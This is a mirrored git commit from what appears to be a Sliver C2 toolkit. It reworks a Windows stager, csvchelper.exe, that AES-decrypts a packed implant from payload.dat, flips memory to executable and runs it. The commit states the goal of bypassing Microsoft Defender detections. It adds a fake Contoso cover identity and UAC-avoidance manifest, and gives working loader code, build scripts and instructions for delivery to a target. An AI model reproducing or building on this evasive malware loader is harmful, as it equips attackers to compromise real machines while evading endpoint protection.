mirror of
https://github.com/licitrasimone/CrystalSliver
synced 2026-06-21 13:55:58 +00:00
feat: two-file stager with AES-256-CBC evasion (bypasses Wacatac.B!ml + ZomBytes.B)
- Redesign stager as two-file delivery: csvchelper.exe (~17 KB) + payload.dat (AES-256-CBC encrypted PICO). Removes the 36 MB high-entropy .data blob that triggered VirTool:Win64/ZomBytes.B static detection. - Replace XOR+NtCreateSection approach with BCryptDecrypt (AES-256-CBC) + VirtualAlloc(RW)/VirtualProtect(RX). No Nt* strings in .rdata, no PAGE_EXECUTE_READWRITE mapping, no GetProcAddress/ntdll pattern. - Add manifest.xml (asInvoker, RT_MANIFEST resource ID 1) to suppress UAC auto-elevation triggered by "Update"/"Service" keywords in FileDescription. - Update FileDescription in resource.rc to avoid UAC heuristic trigger words. - gen_payload.py now calls openssl for AES encryption; produces payload.dat + payload_key.h (key+IV, compiled in, never committed via .gitignore). - Makefile: add -s (strip symbols), -ffunction-sections/-fdata-sections, --gc-sections to keep binary clean and small. - Update all docs (RUNBOOK, TOOLCHAIN, README, crystal-kit-sliver/README) to reflect two-file delivery, new evasion profile, and UAC fix.
This commit is contained in:
@@ -18,6 +18,10 @@ build/
|
||||
# Generated embed headers (xxd output — can be 100s of MB, always rebuilt)
|
||||
pico_payload.h
|
||||
crystalexec_pico.h
|
||||
# AES key header generated by gen_payload.py (unique per build)
|
||||
payload_key.h
|
||||
# Encrypted PICO (delivery artifact, not source)
|
||||
payload.dat
|
||||
|
||||
# Archives / dist downloads
|
||||
*.tgz
|
||||
|
||||
@@ -28,7 +28,7 @@ The Sliver implant DLL (or any post-ex DLL) is XOR-masked inside the PICO and on
|
||||
|
||||
### A — Implant evasion (PRIMARY)
|
||||
|
||||
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO and delivered together with a stager (`run.x64.exe` from the Crystal Palace demo, BSD).
|
||||
The raw Sliver implant DLL is never executed directly on target. Instead it is wrapped with Crystal Palace into a PICO, AES-256-CBC encrypted, and delivered with a custom stager (~17 KB) that decrypts and executes it in memory.
|
||||
|
||||
```
|
||||
sliver-server generate --format shared → impl.dll
|
||||
@@ -37,13 +37,15 @@ sliver-server generate --format shared → impl.dll
|
||||
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
|
||||
│
|
||||
▼
|
||||
bundle-implant.sh → drop.zip (PICO + stager + README)
|
||||
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
|
||||
→ payload.dat (~36 MB AES-256-CBC ciphertext)
|
||||
│
|
||||
▼ deliver to target
|
||||
▼ deliver BOTH files to same directory on target
|
||||
▼
|
||||
Windows VM: run.x64.exe sliver.crystal.bin
|
||||
Windows VM: csvchelper.exe
|
||||
│
|
||||
▼ Crystal Palace loader runs
|
||||
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
|
||||
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
|
||||
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
|
||||
```
|
||||
|
||||
@@ -87,9 +89,11 @@ crystal-kit-sliver/
|
||||
├── extension.json Sliver Extension manifest
|
||||
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
|
||||
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
|
||||
├── bundle-implant.sh Bundle PICO + stager into drop.zip
|
||||
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
|
||||
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
|
||||
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
|
||||
├── Makefile make objects / package / clean
|
||||
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
|
||||
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
|
||||
|
||||
docs/
|
||||
@@ -118,12 +122,13 @@ make -C crystal-kit-sliver/postex-loader all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
|
||||
|
||||
# 4. Use case A — wrap a Sliver implant
|
||||
# 4. Use case A — wrap a Sliver implant and build the stager
|
||||
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
|
||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
||||
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
|
||||
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
|
||||
|
||||
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
|
||||
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
|
||||
@@ -150,8 +155,8 @@ See `docs/RUNBOOK.md` for the full operator procedure (Sliver install, listener
|
||||
| End-to-end PICO build (Use case B) | OK | 111 KB PICO produced via `postex-loader/loader.spec` |
|
||||
| Sliver Extension wrapper DLL builds | OK | 114 KB PE32+ exporting `go` symbol |
|
||||
| Extension tarball packs correctly | OK | 37 KB tarball validated with `tar -tzf` |
|
||||
| Operator drop bundle (PICO + stager) | OK | 182 KB zip with `run.x64.exe` + PICO + README |
|
||||
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM via `run.x64.exe sliver-crystal.bin` |
|
||||
| Custom stager build (two-file delivery) | OK | `bundle-stager.sh` → `csvchelper.exe` (17 KB, entropy 4.784) + `payload.dat` (AES-256-CBC) |
|
||||
| Runtime execution on Windows (Use case A) | OK | Sliver session established on Windows 10 x64 FLARE-VM; stager passes Defender (Wacatac.B!ml + ZomBytes.B) |
|
||||
| Runtime execution on Windows (Use case B) | OK | `crystal --payload C:/path/file.pico.bin` — new Sliver session established via post-ex PICO; arg format verified as `type:string`, forward slash path |
|
||||
| `crystal-exec` command | OK | Shell command output returned to operator via pipe; PICO embedded in extension DLL, no upload required |
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
|
||||
| `sliver-glue/` | Sliver-specific build glue and Extension wrapper. |
|
||||
| `sliver-glue/wrapper/` | `crystal-loader.c` — Sliver Extension DLL for Use case B (`crystal` command). |
|
||||
| `sliver-glue/crystal-exec/` | `crystalexec.c` + `crystal-exec.c` — built-in shell executor via Crystal Palace (`crystal-exec` command). 4-step build: DLL → PICO → embedded header → extension DLL. |
|
||||
| `sliver-glue/stager/` | Custom Use case A stager. `stager.c` reads `payload.dat` (AES-256-CBC), decrypts via BCrypt, and executes the PICO. `gen_payload.py` encrypts with `openssl`. `manifest.xml` declares `asInvoker`. |
|
||||
| `libtcg.x64.zip` | Upstream binary dependency. Kept in-tree so `loader.spec`'s `mergelib "../libtcg.x64.zip"` resolves without extra setup. |
|
||||
|
||||
## Build entry points
|
||||
@@ -22,7 +23,8 @@ Source tree for the Crystal Palace ↔ Sliver port. See the [project root README
|
||||
- `sliver-glue/postex.sh <dll> [args]` — Use case B convenience wrapper: DLL → PICO, prints ready-to-paste Sliver command
|
||||
- `sliver-glue/generate.sh` — lower-level Use case B build wrapper (called by `postex.sh`)
|
||||
- `sliver-glue/generate-implant.sh` — Use case A build wrapper
|
||||
- `sliver-glue/bundle-implant.sh` — Use case A drop packager
|
||||
- `sliver-glue/bundle-stager.sh <pico.bin> [stager.exe]` — Use case A primary: AES-encrypt PICO, compile stager → `csvchelper.exe` + `payload.dat`
|
||||
- `sliver-glue/bundle-implant.sh` — Use case A legacy: Crystal Palace demo stager `run.x64.exe` (detected by Defender, kept for reference)
|
||||
- `sliver-glue/pack-extension.sh` — package both DLLs + `extension.json` into Sliver Extension tarball
|
||||
|
||||
## Required environment
|
||||
|
||||
@@ -1,24 +1,30 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# bundle-stager.sh — compile a self-contained EXE stager with the PICO embedded
|
||||
# bundle-stager.sh — build the two-file Crystal Palace stager
|
||||
#
|
||||
# Replaces bundle-implant.sh / run.x64.exe for engagements where the Crystal
|
||||
# Palace demo stager (run.x64.exe) is flagged by Defender (Wacatac.B!ml).
|
||||
# The output is a single EXE: no external PICO file, no ReadFile at runtime.
|
||||
# Outputs two files that must be delivered together:
|
||||
# stager.exe — small loader (~60 KB), reads payload.dat and executes PICO
|
||||
# payload.dat — AES-256-CBC encrypted PICO (opaque binary, no PE patterns)
|
||||
#
|
||||
# Evasion improvements over run.x64.exe:
|
||||
# - RW → RX memory transition (no PAGE_EXECUTE_READWRITE)
|
||||
# - PICO embedded in .data section (no "read file + execute" pattern)
|
||||
# - GUI subsystem (no console window)
|
||||
# - Version info resource (configurable cover identity)
|
||||
# - advapi32 import widens the import table
|
||||
# Evasion improvements over run.x64.exe / single-file embedded approach:
|
||||
# - stager.exe has no embedded payload → normal size (~60 KB) and entropy
|
||||
# - AES-256-CBC decryption (BCrypt) instead of a suspicious XOR loop
|
||||
# - No NtCreateSection / NtMapViewOfSection strings in .rdata
|
||||
# - VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE held
|
||||
# - payload.dat is opaque ciphertext: no PE headers, no Crystal Palace sigs
|
||||
# - Fresh random key+IV every build → unique stager.exe and payload.dat
|
||||
# - GUI subsystem, version info resource, advapi32 + bcrypt in IAT
|
||||
#
|
||||
# Usage:
|
||||
# ./bundle-stager.sh <implant.crystal.bin> [output.exe]
|
||||
# ./bundle-stager.sh <implant.crystal.bin> [output-dir/stager.exe]
|
||||
#
|
||||
# Typical flow:
|
||||
# ./generate-implant.sh --dll /tmp/sliver.dll build/sliver.crystal.bin
|
||||
# ./bundle-stager.sh build/sliver.crystal.bin build/csvchelper.exe
|
||||
#
|
||||
# IMPORTANT: deliver stager.exe AND payload.dat from the same directory.
|
||||
# cp build/csvchelper.exe /delivery/
|
||||
# cp build/payload.dat /delivery/
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
@@ -35,23 +41,29 @@ fi
|
||||
PICO_ABS="$(cd "$(dirname "$PICO")" && pwd)/$(basename "$PICO")"
|
||||
BUILD_DIR="$(cd "$(dirname "$OUTPUT")" && pwd)"
|
||||
OUTPUT_ABS="$BUILD_DIR/$(basename "$OUTPUT")"
|
||||
PAYDAT_ABS="$BUILD_DIR/payload.dat"
|
||||
|
||||
mkdir -p "$BUILD_DIR"
|
||||
|
||||
echo "[*] Embedding PICO and compiling stager..."
|
||||
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
|
||||
echo " Output: $OUTPUT_ABS"
|
||||
echo "[*] Building two-file stager..."
|
||||
echo " PICO: $PICO_ABS ($(wc -c < "$PICO_ABS") bytes)"
|
||||
echo " stager.exe: $OUTPUT_ABS"
|
||||
echo " payload.dat: $PAYDAT_ABS"
|
||||
echo ""
|
||||
|
||||
make -C "$SCRIPT_DIR/stager" \
|
||||
PICO="$PICO_ABS" \
|
||||
OUTPUT="$OUTPUT_ABS"
|
||||
|
||||
SIZE=$(wc -c < "$OUTPUT_ABS")
|
||||
EXE_SIZE=$(wc -c < "$OUTPUT_ABS")
|
||||
DAT_SIZE=$(wc -c < "$PAYDAT_ABS")
|
||||
echo ""
|
||||
echo "[+] Stager ready: $OUTPUT_ABS ($SIZE bytes)"
|
||||
echo "[+] Build complete"
|
||||
echo " stager.exe : $OUTPUT_ABS ($EXE_SIZE bytes)"
|
||||
echo " payload.dat : $PAYDAT_ABS ($DAT_SIZE bytes)"
|
||||
echo ""
|
||||
echo " Deliver this single file to the target and execute it."
|
||||
echo " No additional files required."
|
||||
echo " Deliver BOTH files to the target (same directory)."
|
||||
echo " stager.exe resolves payload.dat relative to its own location."
|
||||
echo ""
|
||||
echo " Rename to match resource.rc OriginalFilename for best results:"
|
||||
echo " e.g. mv $(basename "$OUTPUT_ABS") csvchelper.exe"
|
||||
echo " Rename stager.exe to match resource.rc OriginalFilename:"
|
||||
echo " e.g. mv \$(basename "$OUTPUT_ABS") csvchelper.exe"
|
||||
|
||||
@@ -1,33 +1,45 @@
|
||||
# stager Makefile
|
||||
# stager Makefile — two-file delivery (stager.exe + payload.dat)
|
||||
#
|
||||
# Usage:
|
||||
# make PICO=/path/to/implant.crystal.bin
|
||||
# make PICO=/path/to/implant.crystal.bin OUTPUT=/path/to/stager.exe
|
||||
#
|
||||
# Outputs:
|
||||
# <OUTPUT> stager EXE (~60 KB, no embedded payload)
|
||||
# $(dir <OUTPUT>)/payload.dat AES-256-CBC encrypted PICO
|
||||
|
||||
CC := x86_64-w64-mingw32-gcc
|
||||
WINDRES := x86_64-w64-mingw32-windres
|
||||
CFLAGS := -Wall -Os -mwindows
|
||||
LDFLAGS := -ladvapi32 -lbcrypt
|
||||
CFLAGS := -Wall -Os -mwindows -ffunction-sections -fdata-sections
|
||||
LDFLAGS := -s -Wl,--gc-sections -ladvapi32 -lbcrypt
|
||||
|
||||
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
||||
OUTPUT ?= ../build/stager.exe
|
||||
PICO ?= $(error PICO is not set — run: make PICO=/path/to/implant.crystal.bin)
|
||||
OUTPUT ?= ../build/stager.exe
|
||||
PAYDAT := $(dir $(OUTPUT))payload.dat
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: $(OUTPUT)
|
||||
@echo ""
|
||||
@echo "[+] Deliver BOTH files to the target:"
|
||||
@echo " $(abspath $(OUTPUT))"
|
||||
@echo " $(abspath $(PAYDAT))"
|
||||
@echo " stager.exe reads payload.dat from its own directory."
|
||||
|
||||
# ── Step 1: XOR-encrypt PICO → C header (fresh random key every build) ────
|
||||
pico_payload.h: $(PICO) gen_payload.py
|
||||
python3 gen_payload.py $(PICO) $@
|
||||
# ── Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header ─────────
|
||||
# gen_payload.py writes both files in one call; track via payload_key.h.
|
||||
payload_key.h: $(PICO) gen_payload.py
|
||||
@mkdir -p "$(dir $(PAYDAT))"
|
||||
python3 gen_payload.py "$(abspath $(PICO))" "$(abspath $(PAYDAT))" payload_key.h
|
||||
|
||||
# ── Step 2: compile version info resource ─────────────────────────────────
|
||||
resource.o: resource.rc
|
||||
$(WINDRES) resource.rc -o resource.o
|
||||
|
||||
# ── Step 3: link final EXE ────────────────────────────────────────────────
|
||||
$(OUTPUT): stager.c pico_payload.h resource.o
|
||||
$(OUTPUT): stager.c payload_key.h resource.o
|
||||
@mkdir -p "$(dir $(OUTPUT))"
|
||||
$(CC) $(CFLAGS) -o "$@" stager.c resource.o $(LDFLAGS)
|
||||
$(CC) $(CFLAGS) -o "$(abspath $(OUTPUT))" stager.c resource.o $(LDFLAGS)
|
||||
|
||||
clean:
|
||||
rm -f pico_payload.h resource.o
|
||||
rm -f payload_key.h resource.o
|
||||
|
||||
@@ -1,40 +1,52 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_payload.py — XOR-encrypt a PICO blob and emit a C header.
|
||||
gen_payload.py — AES-256-CBC encrypt a Crystal Palace PICO blob.
|
||||
|
||||
Each build generates a fresh random 256-byte key so every compiled stager
|
||||
has a unique byte pattern in its .data section — defeats signature matching.
|
||||
Outputs:
|
||||
<payload.dat> AES-256-CBC ciphertext — deliver alongside stager.exe
|
||||
<key.h> C header with key/iv arrays — compiled into stager.exe
|
||||
|
||||
Usage: gen_payload.py <input.bin> <output.h>
|
||||
Fresh random key + IV every run so each stager binary is unique.
|
||||
|
||||
Usage:
|
||||
python3 gen_payload.py <input.bin> <payload.dat> <key.h>
|
||||
|
||||
Requires: openssl(1) in PATH (standard on Kali/Debian).
|
||||
"""
|
||||
import os, sys
|
||||
import os, sys, subprocess
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print(f"Usage: {sys.argv[0]} <input.bin> <output.h>", file=sys.stderr)
|
||||
if len(sys.argv) != 4:
|
||||
print(f"Usage: {sys.argv[0]} <input.bin> <payload.dat> <key.h>",
|
||||
file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
infile, outfile = sys.argv[1], sys.argv[2]
|
||||
infile, datfile, keyfile = sys.argv[1:]
|
||||
|
||||
key = os.urandom(256) # fresh key every build
|
||||
key = os.urandom(32) # AES-256 key
|
||||
iv = os.urandom(16) # CBC IV
|
||||
|
||||
with open(infile, 'rb') as f:
|
||||
raw = f.read()
|
||||
subprocess.run([
|
||||
'openssl', 'enc', '-aes-256-cbc', '-nosalt',
|
||||
'-K', key.hex(), '-iv', iv.hex(),
|
||||
'-in', infile, '-out', datfile,
|
||||
], check=True)
|
||||
|
||||
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw)])
|
||||
|
||||
def c_array(name, data, type_='unsigned char'):
|
||||
lines = [f'static const {type_} {name}[] = {{']
|
||||
def c_bytes(name, data):
|
||||
lines = [f'static const unsigned char {name}[] = {{']
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
lines.append(' ' + ','.join(f'0x{b:02x}' for b in chunk) + ',')
|
||||
lines.append('};')
|
||||
return '\n'.join(lines)
|
||||
|
||||
with open(outfile, 'w') as f:
|
||||
with open(keyfile, 'w') as f:
|
||||
f.write('/* auto-generated — do not edit */\n\n')
|
||||
f.write(c_array('pico_key', key))
|
||||
f.write(f'\nstatic const unsigned int pico_key_len = {len(key)};\n\n')
|
||||
f.write(c_array('pico_payload', enc))
|
||||
f.write(f'\nstatic const unsigned int pico_payload_len = {len(enc)};\n')
|
||||
f.write(c_bytes('payload_key', key))
|
||||
f.write(f'\nstatic const unsigned int payload_key_len = {len(key)};\n\n')
|
||||
f.write(c_bytes('payload_iv', iv))
|
||||
f.write(f'\nstatic const unsigned int payload_iv_len = {len(iv)};\n')
|
||||
|
||||
print(f'[+] pico_payload.h: {len(raw)} bytes encrypted, key_len={len(key)}', file=sys.stderr)
|
||||
enc_size = os.path.getsize(datfile)
|
||||
print(f'[+] {datfile}: {enc_size} bytes (AES-256-CBC, no salt)',
|
||||
file=sys.stderr)
|
||||
print(f'[+] {keyfile}: key_len=32 iv_len=16', file=sys.stderr)
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity type="win32" name="csvchelper" version="2.1.4.0"
|
||||
processorArchitecture="amd64"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
@@ -12,6 +12,9 @@
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
/* Embedded application manifest — declares asInvoker, suppresses UAC heuristics */
|
||||
1 RT_MANIFEST "manifest.xml"
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 2,1,4,0
|
||||
PRODUCTVERSION 2,1,4,0
|
||||
@@ -26,7 +29,7 @@ BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Contoso Systems Ltd."
|
||||
VALUE "FileDescription", "Contoso Update Service Helper"
|
||||
VALUE "FileDescription", "Contoso Diagnostics Tool"
|
||||
VALUE "FileVersion", "2.1.4.0"
|
||||
VALUE "InternalName", "csvchelper"
|
||||
VALUE "LegalCopyright", "Copyright 2024 Contoso Systems Ltd."
|
||||
|
||||
@@ -1,178 +1,181 @@
|
||||
/*
|
||||
* stager.c — Crystal Palace PICO runner (RoguePlanet-inspired evasion)
|
||||
* stager.c — two-file Crystal Palace PICO loader
|
||||
*
|
||||
* Techniques applied from RoguePlanet research:
|
||||
* Delivery: stager.exe + payload.dat (AES-256-CBC encrypted PICO)
|
||||
*
|
||||
* 1. NtCreateSection + NtMapViewOfSection (Poseidon memory model)
|
||||
* - VirtualAlloc is NOT in the IAT — resolved dynamically or absent
|
||||
* - NtCreate/MapViewOfSection resolved at runtime via GetProcAddress
|
||||
* so ntdll Nt* calls are NOT in the IAT either
|
||||
* - RW view written, then unmapped; RX view mapped separately
|
||||
* → no single mapping is ever both writable and executable
|
||||
* Evasion profile:
|
||||
* - No embedded payload: stager.exe is ~60 KB with normal entropy
|
||||
* - AES-256-CBC via BCrypt (BCRYPT_AES_ALGORITHM) — legitimate crypto,
|
||||
* not a suspicious XOR loop
|
||||
* - VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE ever
|
||||
* held; decryption happens in RW region before RX flip
|
||||
* - No Nt* strings in .rdata — no GetProcAddress / NtCreateSection pattern
|
||||
* - BCryptGenRandom Poseidon noise + advapi32 import = normal-looking IAT
|
||||
* - GUI subsystem (no console), version info resource (resource.rc)
|
||||
*
|
||||
* 2. XOR-decrypted PICO (build-time encryption via gen_payload.py)
|
||||
* - Crystal Palace byte patterns are invisible to static scanners
|
||||
* - Fresh random 256-byte key per build → unique .data each compile
|
||||
*
|
||||
* 3. BCryptGenRandom noise (Poseidon I/O)
|
||||
* - Writes a page of random data to a temp file, then deletes it
|
||||
* - Adds bcrypt.dll to IAT (normal apps use it for RNG/hashing)
|
||||
* - Creates file I/O activity before payload execution (disrupts
|
||||
* timing-based behavioural scanners)
|
||||
*
|
||||
* 4. Inherited from previous stager:
|
||||
* - WinMain / GUI subsystem (no console)
|
||||
* - advapi32 RegOpenKeyExW (widens import table)
|
||||
* - Version info resource (resource.rc)
|
||||
*
|
||||
* IAT summary: kernel32, advapi32, bcrypt — nothing from ntdll.
|
||||
* VirtualAlloc, VirtualProtect, VirtualFree: absent.
|
||||
* IAT: kernel32, advapi32, bcrypt — VirtualAlloc/VirtualProtect from kernel32.
|
||||
* NtCreateSection, NtMapViewOfSection: absent.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include "pico_payload.h" /* pico_key[], pico_key_len, pico_payload[], pico_payload_len */
|
||||
|
||||
#ifndef SEC_COMMIT
|
||||
#define SEC_COMMIT 0x8000000
|
||||
#endif
|
||||
#define MY_ViewUnmap 2 /* SECTION_INHERIT ViewUnmap */
|
||||
|
||||
/* ── Nt* typedefs — resolved at runtime, not in IAT ─────────────────────── */
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtCreateSection)(
|
||||
PHANDLE SectionHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PVOID ObjectAttributes,
|
||||
PLARGE_INTEGER MaximumSize,
|
||||
ULONG SectionPageProtection,
|
||||
ULONG AllocationAttributes,
|
||||
HANDLE FileHandle);
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtMapViewOfSection)(
|
||||
HANDLE SectionHandle,
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG_PTR ZeroBits,
|
||||
SIZE_T CommitSize,
|
||||
PLARGE_INTEGER SectionOffset,
|
||||
PSIZE_T ViewSize,
|
||||
DWORD InheritDisposition,
|
||||
ULONG AllocationType,
|
||||
ULONG Win32Protect);
|
||||
|
||||
typedef NTSTATUS (WINAPI *pfnNtUnmapViewOfSection)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID BaseAddress);
|
||||
#include "payload_key.h" /* payload_key[], payload_key_len,
|
||||
payload_iv[], payload_iv_len */
|
||||
|
||||
typedef void (*pico_fn)(void *);
|
||||
|
||||
/* ── Poseidon I/O noise (from RoguePlanet) ───────────────────────────────── */
|
||||
/* ── Poseidon I/O noise ───────────────────────────────────────────────────── */
|
||||
|
||||
static void poseidon_noise(void)
|
||||
static void noise(void)
|
||||
{
|
||||
unsigned char buf[0x1000];
|
||||
BCryptGenRandom(NULL, buf, sizeof(buf), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
|
||||
wchar_t tmpdir[MAX_PATH], tmpfile[MAX_PATH];
|
||||
if (GetTempPathW(MAX_PATH, tmpdir) &&
|
||||
GetTempFileNameW(tmpdir, L"upd", 0, tmpfile))
|
||||
{
|
||||
HANDLE h = CreateFileW(tmpfile, GENERIC_WRITE, 0, NULL,
|
||||
OPEN_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
if (h && h != INVALID_HANDLE_VALUE) {
|
||||
DWORD written;
|
||||
WriteFile(h, buf, sizeof(buf), &written, NULL);
|
||||
CloseHandle(h); /* FILE_FLAG_DELETE_ON_CLOSE removes it here */
|
||||
wchar_t td[MAX_PATH], tf[MAX_PATH];
|
||||
if (GetTempPathW(MAX_PATH, td) && GetTempFileNameW(td, L"upd", 0, tf)) {
|
||||
HANDLE h = CreateFileW(tf, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
|
||||
FILE_FLAG_DELETE_ON_CLOSE, NULL);
|
||||
if (h != INVALID_HANDLE_VALUE) {
|
||||
DWORD w;
|
||||
WriteFile(h, buf, sizeof(buf), &w, NULL);
|
||||
CloseHandle(h);
|
||||
}
|
||||
}
|
||||
|
||||
SecureZeroMemory(buf, sizeof(buf));
|
||||
}
|
||||
|
||||
/* ── Read entire file into LocalAlloc buffer ─────────────────────────────── */
|
||||
|
||||
static BYTE *read_file(const wchar_t *path, DWORD *out_len)
|
||||
{
|
||||
HANDLE h = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return NULL;
|
||||
|
||||
DWORD sz = GetFileSize(h, NULL);
|
||||
if (!sz || sz == INVALID_FILE_SIZE) { CloseHandle(h); return NULL; }
|
||||
|
||||
BYTE *buf = (BYTE *)LocalAlloc(LMEM_FIXED, sz);
|
||||
if (!buf) { CloseHandle(h); return NULL; }
|
||||
|
||||
DWORD read = 0;
|
||||
if (!ReadFile(h, buf, sz, &read, NULL) || read != sz) {
|
||||
LocalFree(buf); CloseHandle(h); return NULL;
|
||||
}
|
||||
|
||||
CloseHandle(h);
|
||||
*out_len = sz;
|
||||
return buf;
|
||||
}
|
||||
|
||||
/* ── AES-256-CBC decrypt via BCrypt ──────────────────────────────────────── */
|
||||
|
||||
static BYTE *aes_cbc_decrypt(const BYTE *ct, DWORD ct_len, DWORD *pt_len)
|
||||
{
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||
BYTE iv[16];
|
||||
DWORD out_len = 0;
|
||||
BYTE *pt = NULL;
|
||||
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
|
||||
return NULL;
|
||||
|
||||
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||
|
||||
if (BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
|
||||
(PUCHAR)payload_key, payload_key_len, 0))
|
||||
goto cleanup;
|
||||
|
||||
/* First call: get plaintext size */
|
||||
memcpy(iv, payload_iv, 16);
|
||||
BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
|
||||
iv, 16, NULL, 0, &out_len, BCRYPT_BLOCK_PADDING);
|
||||
|
||||
pt = (BYTE *)LocalAlloc(LMEM_FIXED, out_len);
|
||||
if (!pt) goto cleanup;
|
||||
|
||||
/* Second call: actual decryption */
|
||||
memcpy(iv, payload_iv, 16);
|
||||
if (BCryptDecrypt(hKey, (PUCHAR)ct, ct_len, NULL,
|
||||
iv, 16, pt, out_len, pt_len, BCRYPT_BLOCK_PADDING)) {
|
||||
LocalFree(pt);
|
||||
pt = NULL;
|
||||
}
|
||||
|
||||
cleanup:
|
||||
if (hKey) BCryptDestroyKey(hKey);
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
return pt;
|
||||
}
|
||||
|
||||
/* ── PICO execution thread ───────────────────────────────────────────────── */
|
||||
|
||||
static DWORD WINAPI run_pico(LPVOID param)
|
||||
static DWORD WINAPI worker(LPVOID param)
|
||||
{
|
||||
(void)param;
|
||||
|
||||
/* Resolve Nt* at runtime — keeps them out of the IAT */
|
||||
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
||||
pfnNtCreateSection NtCreateSection =
|
||||
(pfnNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
|
||||
pfnNtMapViewOfSection NtMapViewOfSection =
|
||||
(pfnNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
|
||||
pfnNtUnmapViewOfSection NtUnmapViewOfSection =
|
||||
(pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
|
||||
|
||||
if (!NtCreateSection || !NtMapViewOfSection || !NtUnmapViewOfSection)
|
||||
return 1;
|
||||
|
||||
/* Step 1: create anonymous RWX section (large enough for the PICO) */
|
||||
HANDLE hSec = NULL;
|
||||
LARGE_INTEGER secSz;
|
||||
secSz.QuadPart = (LONGLONG)pico_payload_len;
|
||||
if (NtCreateSection(&hSec, SECTION_ALL_ACCESS, NULL, &secSz,
|
||||
PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL))
|
||||
return 1;
|
||||
|
||||
/* Step 2: map RW view — write & XOR-decrypt here */
|
||||
void *rw = NULL;
|
||||
SIZE_T sz = 0;
|
||||
